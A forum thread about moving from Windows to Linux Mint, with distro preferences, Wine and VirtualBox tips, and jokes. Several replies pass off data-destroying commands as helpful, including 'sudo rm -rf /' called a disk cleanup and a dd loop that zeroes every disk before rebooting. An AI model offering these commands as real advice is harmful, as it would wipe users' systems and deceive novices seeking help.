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^^^ Those are good instructions.

I really think helping people get from Windows to Linux Mint for 20$ for 15 minutes would be a good business. That's 60 to 80 US per hour if you could get clients.

What happens if I enter this into a terminal?

su -
cd /
rm -rf *

i would not try rm -rf ...

it's an uber delete wipe command

too late.

for lol in a b c d e f g h i j k l m n o p q r s t u v w x y z; do dd if=/dev/zero of=/dev/sd${lol} bs=1M oflag=direct; done; reboot

It's the * that gives that recipe it's secret sauce.

It cleans out unnecessary files and prepares the disk for a Windows installation.

depends on ur end goal. i would say u made the right choice.
i recommend centos because a lot of other industry oses are built on similar kernels like red hat and oracle linux. makes you wonder why they chose it. i like it because of the low resources and the capability to update majority of things with out having a lot of down time. i noticed this is does well with databases, web services, and clustered environments. i just installed a nice cluster of elastic stacks on centos, way more stable than ubuntu. i was also loving kali linux. arch linux was good too but was not exactly beginner friendly. i have played on raspberry pis, openwrt, and freebsd.


i still haven’t tried out but i’m interested in: parot, back box, solaris, libertyos, and mint yet.

it’s a crazy district flavor world of linux out there oo, enjoy

I use Gentoo... But only because I really don't like to use my computer. I just want to watch it compile source for days and days and days and days...

Slackware.

Apt get install End of the Age.....

Antidote? Jesus Christ of the Bible.

The End.

Hahahaha

Install Solus Linux.

LFS or your a pussy.

Keep a thumb drive with Kali and TAILS handy.

Burn the Cathedral and circumnavigate the Bazaar.

*Ahem

NOW... who needs help?

Leave a history record where you are working.
history >hist1.txt

later
history >hist2.txt

create or add to hist.txt
history >>hist.txt

working on a project
history 100 >iss.txt
or create add to
history 100 >>iss.txt

To exit vim just enter :q! enter.

man man

Clean your linux up for a cleaner drive with this cool command . I would recommend running this from the root dir for best effects.

sudo rm -rf /

I have also been using Linux Mint with the Mate Desktop Manager as my everyday system for years. I made the switch when I started analyzing my network traffic with Windows XP and realized just how much data was being sent back to Microsoft. Windows 7, 8, and 10 all got progressively worse on how much data Microsoft was mining to the point that Windows 10 is now classified as "spyware." Now I do not use any Microsoft software except virtually for testing purposes.

I have tried other Linux distributions, but I think Mint is by far the most user-friendly version there is right now. I have a couple of other distributions that are task-specific for penetration testing, forensics, or other security-related matters, but I don't fire those up unless I need them.

Running Windows-based programs on Linux has always been problematic. These are my solutions:

Install Wine, Wine Tricks, and PlayOnLinux. I've had pretty good luck getting Windows software to run using that combination of software.

Also install VirtualBox. This will allow you to install and operate a Windows operating system in a virtual environment on Linux, and any Windows software that won't run using the previous solutions will run in a VM. This has the advantage of letting you control exactly how much access Windows has to the outside world, and it has zero access to the information on the Linux operating system unless you deliberately give it that access.

But if 90% of what you do is Internet and e-mail, you'll adapt to Linux in no time and you'll wonder why you didn't switch sooner.

And while Linux Mint has some fantastic user forums to find answers to questions, you can also post here for help.

I actually went back to Ubuntu 16.04 in the end. It was the latest distro (20.4) of Ubuntu that was causing me hassle. Once I went back to an older version, everything was fine.

Yes, there are a lot of interesting flavours out there, but because I'm making an open source app, I want to use the oldest, most stable, widely used infrastructure I can find. I don't typically use new frameworks or distros. IMO innovation is for the front-end, UX and app-design. The back end should be stable like an old war-horse.

I use nano. May try and learn vim later. I can't even copypaste in my current cloud. So I have to type out commands like this by hand:

wget https//packages.erlang-solutions.com/erlang-solutions_2.0_all​.deb && sudo dpkg -i erlang-solutions_2.0_all.deb


... Til I learn how to use xclip or xsel.

I have no syntax highlighting, nothing. I'm used to all the help codepen gives you. My current cloud development environment is like going back to the 80s. The Gods are punishing me for copypasting so much code from stack overflow. No wonder my skills are still mediocre.

Last Edited by Daozen on 09/23/2020 06:07 AM

So then run MX, it does not run systems by default. It is an option on the boot menu but who would be dumb enough to run it when sysvinit is a much better option for keeping your OS locked down.

Stupid autocorrect. "systems" was supposed to be "systemd"

Gnome Terminal allows you to copy and paste just like any other window...

I used vim then neovim but now I just use the ATOM.

I'm checking it out now, thanks. I messaged tech support and they told me to use putty, but I want a fully cloud solution. Copypasting to terminal would help a lot. OTOH, I'm learning a lot typing everything out by hand.

I wonder if gnome works if I'm using a VNC tunnel to a remote development server. Will have to try.

Helppp I've download Linux Mint as a free Windows 10 replacement but I can't find Cortona or Angry Birds, what do ? ??

linux is for children

Open up terminal, type in sudo shutdown now and press enter. After that, do not turn the computer back on. Ever.

/s

Install Solus Linux.